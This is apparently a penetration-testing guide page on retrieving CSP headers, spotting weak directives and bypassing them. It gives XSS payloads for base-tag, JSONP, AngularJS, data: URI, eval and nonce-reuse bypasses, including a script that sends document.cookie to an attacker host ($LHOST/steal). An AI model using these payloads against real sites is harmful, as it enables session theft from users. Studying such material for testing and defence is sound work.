Skip to content

CSP Check

5 min read Created Sep 13, 2026 Last updated Sep 13, 2026

Content-Security-Policy (CSP) controls which resources a browser is allowed to load on a page. Checking CSP headers reveals whether the policy is strict enough to block XSS payloads or whether misconfigurations create bypass opportunities. A missing or overly permissive CSP is a finding on its own. A strict-looking CSP with bypassable directives is more valuable because developers assume they are protected. When CSP blocks your payloads, see XSS filter bypass for techniques that work within or around policy restrictions.

  • Retrieving and reading CSP headers
  • Identifying weak directives (unsafe-inline, unsafe-eval, wildcard sources)
  • Bypass techniques for common CSP configurations

Retrieving CSP Headers

Check the response headers first. CSP can appear in Content-Security-Policy or the deprecated X-Content-Security-Policy. It can also be set via a <meta> tag in the HTML body, which is easy to miss when only inspecting headers.

┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP:$PORT/ | grep -iE 'content-security-policy|x-content-security'
content-security-policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *
Explain command
-skI Silent mode, skip TLS verification, fetch response headers only.
grep -iE Case-insensitive extended regex to match both CSP header variants.
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ | grep -ioE '<meta[^>]*content-security-policy[^>]*>'
Explain command
-sk Silent mode and skip TLS verification.
grep -ioE Case-insensitive, only-matching, extended regex to extract meta tag CSP definitions.

Key directives to focus on: script-src controls JavaScript execution and is the primary XSS gate. default-src acts as the fallback for any directive not explicitly defined. object-src controls plugin loading (Flash, Java applets). base-uri restricts the <base> tag. A missing directive falls back to default-src. If default-src is also absent, that directive is unrestricted.

Identifying Weak Directives

The following misconfigurations weaken a CSP enough to allow exploitation.

unsafe-inline: if script-src includes 'unsafe-inline', any inline <script> tag or event handler executes normally. This effectively disables XSS protection for inline payloads.

unsafe-eval: allows eval(), Function(), setTimeout('string'), and setInterval('string'). An attacker who controls a string that reaches any of these functions gets code execution.

Wildcard sources: script-src * or script-src https: allows loading scripts from any origin. Even script-src *.example.com is exploitable if any subdomain has an XSS or serves controllable JavaScript.

Missing object-src: without this directive restricted, an attacker can load a Flash SWF or Java applet to execute code in the page context.

Missing base-uri: allows injecting <base href="..."> to redirect all relative script paths to an attacker-controlled server.

CSP Bypass Techniques

Even a CSP that looks restrictive may have exploitable gaps. The following techniques target specific directive configurations.

Base Tag Injection

When base-uri is not restricted, inject a <base> tag to redirect all relative script paths to your server. Any <script src="app.js"> on the page loads from your server instead of the original origin.

<base href="http://$LHOST/">

Host a file on your server matching the relative path the page loads. The browser fetches your version because the base URL has changed.

script-src 'self' Bypass

When CSP allows scripts only from the same origin, look for ways to get JavaScript onto that origin. File upload functionality that stores files in a web-accessible directory, JSONP endpoints that reflect callback parameters, and frameworks like AngularJS loaded from the same origin that allow template injection are all valid paths.

<script src="/api/jsonp?callback=alert(document.domain)//"></script>

If the application uses AngularJS loaded from self, inject an Angular expression in an ng-app context:

<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

Nonce Bypass

CSP nonces (script-src 'nonce-abc123') should be random per response. Check if the nonce value stays the same across requests. If the nonce is static or predictable, include it in your payload. Dangling markup injection can also leak the nonce value: inject an unclosed tag attribute that captures subsequent page content including the nonce.

┌──(kali㉿kali)-[~]
└─$ for i in 1 2 3; do curl -skI http://$TARGET_IP:$PORT/ | grep -oP "nonce-[a-zA-Z0-9+/=]+"; done
nonce-R4nd0mT0k3n
nonce-R4nd0mT0k3n
nonce-R4nd0mT0k3n
Explain command
-skI Silent mode, skip TLS verification, fetch response headers only.
grep -oP Perl-compatible regex to extract nonce values from the CSP header.

If the same nonce appears across multiple requests, include it directly in the injected script tag:

<script nonce="R4nd0mT0k3n">fetch('http://$LHOST/steal?c='+document.cookie)</script>

data: URI Bypass

When script-src includes data:, JavaScript executes from a data URI:

<script src="data:text/javascript,alert(document.domain)"></script>

unsafe-eval Exploitation

unsafe-eval opens multiple code execution paths. Any user-controlled string reaching these functions becomes executable:

eval('alert(document.domain)')
setTimeout('alert(document.domain)')
setInterval('alert(document.domain)')
new Function('alert(document.domain)')()

Wildcard Subdomain Abuse

If CSP allows *.example.com, any XSS on any subdomain of example.com can serve as a script source. Find a subdomain with reflected XSS or file upload functionality, host your payload there, then load it via a script tag from the main target.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://uploads.example.com/user/avatar.js" | head -5

References